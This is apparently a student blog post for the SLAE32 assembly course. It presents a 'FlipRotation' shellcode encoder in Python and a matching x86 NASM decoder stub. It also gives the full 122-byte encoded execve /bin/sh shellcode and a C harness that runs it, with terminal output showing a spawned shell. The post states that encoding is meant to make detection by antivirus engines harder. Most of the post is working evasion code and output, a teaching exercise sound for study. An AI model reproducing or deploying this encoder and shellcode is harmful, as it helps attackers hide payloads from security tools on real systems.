SLAE32
SLAE32

This post introduces the forth mission of my SLAE32 journey.

A real handful and a challenging assignment. It was hard but worth it. Thus, I named my custom encoder/decoder shellcode as FlipRotation Shellcode

Introduction

The fourth assignment goal was to create my custom encoder and decoder of the execve stack shellcode. As you may know, the purpose is to execute /bin/sh.

  A shellcode encoder can be used for different purposes, mainly making it harder to detect by AV engines or simply avoiding bad characters (such as null bytes).

FlipRotation Algorithm Overview

The inspiration for this algorithm was the known CBC bit-flipping attack but applying a simple variation to our context.

More specifically, the steps are

  1. We pick each shellcode byte and flip the last bit using a xor operation - flipped_shellbyte = shellbyte ^ 0x01
  2. Based on that output the rotation direction is defined. We rotate right if odd or left if even. The number of rotation positions is defined by the loop index value (number of iterations) of the loop at that time.
  3. If we rotate right, we append 0x2 afther the encoded byte, and if we rotate left we append 0xff
  4. Put the byte 0xa0 as the shellcode end marker

The following diagram can help to understand this process better.

FlipRotation
FlipRotation

Regarding decoding, it is just simply reverting the steps, and we have our original shellcode back.

From my experience, developing the decoder in assembly was much more straightforward than implementing the encoder logic in Python.

Encoder

The FlipRotation encoder was developed in Python language. The Encoder class supports various encoding modes, but we will focus only on the insertion mode.

FlipRotation Encoder

#!/usr/bin/python3
#
# The FlipRotation Shellcode encoder
#
# Rotates back and flips the lowest bit of each byte.
#

import argparse
import secrets
import logging
import sys

secretsGenerator = secrets.SystemRandom()

c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh

def banner():

    print('''
        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\\
                    ||----w |
                    ||     ||       
        
         ''')

#----------------------------


def bin2hex(binstr):
    return hex(int(binstr,2))

class Encoder:

    def randomKeyGenerator(self):
        byte = '0x'
        for i in range(2):
            hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
            nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
            byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
        return int(byte,16) # convert key to bytes and return


    def __init__(self,enc_type, key=None):
        if enc_type != "not":
            
            if key is not None:
                self.key = key
                print("[*] Key Provided by the user. Doing magic with it")
            else:
                self.key = self.randomKeyGenerator()
                print("[*] Doing magic with a (pseudo) Random key")
            print("[*] Key: "+hex(self.key))
 
    # Function to left
    # rotate n by d bits
    def leftRotate(self,shellbits, d):
        tmp = shellbits[d:] + shellbits[0:d]
        return tmp
    
    # Function to right
    # rotate n by d bits
    def rightRotate(self, shellbits, d):
        return self.leftRotate(shellbits, len(shellbits) - d)
        
    def insertion_encode(self, shellcode):

        encoded = '' # 0x format
        encoded2 = '' # \x format
        rotation_direction = ''
        
        rotation_counter = 0
        for shellbyte in shellcode:
            
            flipped_shellbyte = shellbyte ^ 0x01    # flip lowest bit
            
            if bin(flipped_shellbyte)[-1] == '0':
                logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
                rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
                rotation_direction = '0x02' 
            else:
                logging.info("Flipped byte - even - "+str(flipped_shellbyte))
                rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
                print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
                rotation_direction = '0xff'
            
            final_shellbyte =  bin2hex(rotated_shellbyte)
            
            rotation_counter += 1

            encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

            encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

        print("\n[*] \\x format: ")
        encoded2 += '\\x' + hex(self.key)[2:]   # add marker
        print(encoded2)
            
        print("\n[*] 0x format: ")
        encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
        print(encoded)



def main():
   
    shellcode = bytearray(c_style_shellcode)
    print("[*] Shellcode length: "+str(len(shellcode))+"\n")
    print("[*] Shellcode: "+str(c_style_shellcode)+"\n")

    # -------------------KEY-------------- 
    key = 0xa0  # can't be 0x02 or 0xff. used for rotation direction
    #####################################

    # -------------Encode Type-----------
    enc_type = "insertion"
    #####################################
    
    if enc_type == "not":

        encoder = Encoder(enc_type)
        encoder.complement_encoding(shellcode)

    elif enc_type == "xor":
    
        encoder = Encoder(enc_type, key)
        encoder.xor_encoding_backslashX(shellcode)# utf-8 encoding (\x4b,\xe4,...)
        encoder.xor_encoding_0x(shellcode) # hex format (0x4b, 0xe4,...)
    
    elif enc_type == "insertion":
        encoder = Encoder(enc_type, key)    # providing a key with insertion encoding type
        encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
           
    else:
        print("[*] Encode type not supported. Please check the supported algorithms in the help menu")

if __name__ == '__main__':

    banner() # displays the program banner
    main()
    print("\n--------------------")
    print("[*] Hack the World!")
    print("--------------------")
    print()
    print()

The Encoder class can generate a pseudorandom key or use one provided by the user.

def randomKeyGenerator(self):
        byte = '0x'
        for i in range(2):
            hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
            nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
            #print("nibble----"+hex(nibble)[2:])
            byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
        #print(byte)
        #chr(int(byte,16)) # converts from base 16 to integer (decimal) and then to ascii (chr func) 
        #print(int(byte,16))
        return int(byte,16) # convert key to bytes and return


def __init__(self,enc_type, key=None):
    if enc_type != "not":
        
        if key is not None:
            self.key = key
            print("[*] Key Provided by the user. Doing magic with it")
        else:
            self.key = self.randomKeyGenerator()
            print("[*] Doing magic with a (pseudo) Random key")
        print("[*] Key: "+hex(self.key))

Then, we can call the function insertion_encode and provide the target shellcode as an argument.

encoder = Encoder(enc_type, key)    # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument

The insertion_encode function is defined as follows:

def insertion_encode(self, shellcode):

        encoded = '' # 0x format
        encoded2 = '' # \x format
        rotation_direction = ''
        
        rotation_counter = 0
        for shellbyte in shellcode:
            
            flipped_shellbyte = shellbyte ^ 0x01    # flip lowest bit
            
            if bin(flipped_shellbyte)[-1] == '0':
                logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
                rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
                rotation_direction = '0x02' 
            else:
                logging.info("Flipped byte - even - "+str(flipped_shellbyte))
                rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
                print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
                rotation_direction = '0xff'
            
            final_shellbyte =  bin2hex(rotated_shellbyte)
            
            rotation_counter += 1

            encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

            encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

        print("\n[*] \\x format: ")
        encoded2 += '\\x' + hex(self.key)[2:]   # add marker
        print(encoded2)
            
        print("\n[*] 0x format: ")
        encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
        print(encoded)

We started by iterating each shellcode byte and flipping the least significant bit - flipped_shellbyte

The rotation_counter is used as a reference for the number of rotated bits. After that, check that same bit for parity. If it is 1 is odd, but if it is 0 is even. An odd number will rotate right,, and an even number will rotate left. Before proceeding to the rotation, we convert the byte to binary for a more robust rotation.

Also, as each byte has 8 bits in size, the rotation is performed according to a circular shift methodology using the modulus % operator. Using the remainder, we stick to rotating only to a maximum of 7 bits each time.

After performing the rotation and converting the binary number to hexadecimal, the encoding is completed - final_shellbyte. We can append it to the variables where the shellcode is being stored encoded and encoded2 followed by the rotation_direction (0x02 or 0xfff).

if bin(flipped_shellbyte)[-1] == '0':
    logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
    rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
    rotation_direction = '0x02' 
else:
    logging.info("Flipped byte - even - "+str(flipped_shellbyte))
    rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
    print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
    rotation_direction = '0xff'

final_shellbyte =  bin2hex(rotated_shellbyte)
rotation_counter += 1

encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

We add the end marker for each shellcode format in the last part.

print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:]   # add marker
print(encoded2)
    
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)

Encoder Output

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ python3 flipRotation_Encoder.py 

        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Shellcode length: 25

[*] Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'

[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x83
After rotation: 0x45
After rotation: 0x4b
After rotation: 0xb4
After rotation: 0x69
After rotation: 0x8d
After rotation: 0xf6
After rotation: 0xa8
After rotation: 0xc7
After rotation: 0x36
After rotation: 0x81

[*] \x format: 
\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\xd\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\xe\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0

[*] 0x format: 
0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0

--------------------
[*] Hack the World!
--------------------

We have the encoded shellcode already with rotation direction for each byte and the end marker.

Decoder

I said before that it was more straightforward than the encoder, but it was not easy. I needed to use a piece of paper and a pencil to develop the logic to decode the payload in assembly.

Let’s dig into the assembly.

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86) Assembly - FlipRotation Encoder
; File Name    : flipRotation_decoder.nasm

global _start

section .text
_start:

	jmp short call_decoder

decoder:

	pop esi
	lea edi, [esi+1]	; pointing to second byte (0x02) from shellcode
	xor eax, eax        ; keep track parity byte
	cdq					; zeroes edx. 
	mov al,	1 
	xor ecx, ecx
	xor ebx, ebx
	

decode:
	mov bl, byte [esi + eax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set

	xor bl, 0x5f	; if equal, parity is even (0xff)
	mov bl, byte [esi + edx] 
	jnz odd

even:	; rotate right

	ror bl, cl
	jmp short bitFlip

odd: 	; rotate left

	rol bl, cl

bitFlip:

	xor bl, 0x01

restore_next_byte:

	mov byte [esi + edx], bl	; replaces the original byte
	mov bl, byte [esi + eax + 1] ; mov next shellbyte
	mov byte [edi], bl
	inc edi
	add al, 2
	inc dl
	inc cl ; = 0x2b  F - 00101011

	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 

	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode	; $+2 ; jump if rotation is not complete
	xor ecx, ecx	; if rotation is complete reset, cl to start again the "circular array"

	jmp short decode

call_decoder:

	call decoder
	EncodedShellcode: db 0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0 	; 0xa0 is the stop marker
Divide and Conquer the FlipRotation Decoder

This decoder uses the jmp-call-pop technique to push the address of the encoded shellcode on the stack and redirect control flow to the decoder branch. Then, the address is stored in esi

We use eax to track each parity byte and edx to control the offset from the beginning of the shellcode.

decoder:

	pop esi
	lea edi, [esi+1]	; pointing to second byte (0x02) from shellcode
	xor eax, eax        ; keep track parity byte
	cdq					; zeroes edx. 
	mov al,	1           ; first parity byte
	xor ecx, ecx        ; loop index and number of rotation bits
	xor ebx, ebx

After this, we have our decoder branch, which has the logic to decode the encoded shellcode. It starts by moving the parity byte and checking with xor bl, 0xa0 if it matches the end marker. If yes, it the shellcode is decoded and redirects the execution flow to its first instruction.

The result of this xor operation using the parity byte will be used below with the operation xor bl, 0x5f to verify if the associated shellcode byte is odd or even.

We know because if we have an even shellcode byte, its parity is 0xff and results in 0xa0 ^ 0xff = 0x5f, which si stored in bl. Then doing xor bl, 0x5f will set ZF (zero flag) to 1. We know if the shellcode byte is even or odd based on the zero flag value.

decode:
	mov bl, byte [esi + eax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set

	xor bl, 0x5f	; if equal, parity is even (0xff) and sets ZF
	mov bl, byte [esi + edx] 
	jnz odd

The next couple of instructions are straightforward. We rotate in the opposite way that was performed by the encoder according to the byte parity and bit, flipping the least significant bit.

even:	; rotate right
	ror bl, cl
	jmp short bitFlip

odd: 	; rotate left
	rol bl, cl

bitFlip:
	xor bl, 0x01

At this stage, the trick is already done. We do replace the encoded shellcode byte for the original one using edx as an offset. Then, we move to bl the next encoded byte.

We can’t forget to remove the last used parity byte from the encoded shellcode. In the decode branch, we set up edi to point the address of the first parity byte. To remove this byte, we can make the next encoded shellcode byte take its place. In practical terms, we copy the next encoded byte to the address of the last parity byte with the instruction mov byte [edi], bl

Then, we prepare he next iteration by:

  • pointing edi to the position of the subsequent parity byte
  • al poiting to the next parity byte offset
  • dl poiting to the next encoded byte
  • incrementing cl, which is used as the loop index value

In the last part, we check if we reach the end of the circular array. As we rotate 8 bits, we can’t turn any more than that. This way, we are synchronized with the encoder implementation.

restore_next_byte:

	mov byte [esi + edx], bl		; replaces the original byte
	mov bl, byte [esi + eax + 1] 	; mov next encoded byte
	mov byte [edi], bl				; change last used parity byte for the next encoded byte
	inc edi							; edi points to position of the next parity byte
	add al, 2						; offset added to next parity byte
	inc dl							; offset to the next encoded byte
	inc cl 							; loop index value incremented

	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 

	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode		; jump if rotation is not complete
	xor ecx, ecx	; if rotation is complete, reset cl to start again the "circular array"

Compiling and Testing the FlipRotation Decoder

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ../../assembler.sh egg_hunter.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 122

"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ ./shellcode                                                        
Shellcode Length: 122
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
core  flipRotation_Encoder.py  flipRotation_decoder  flipRotation_decoder.nasm  flipRotation_decoder.o  shellcode  shellcode.c
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86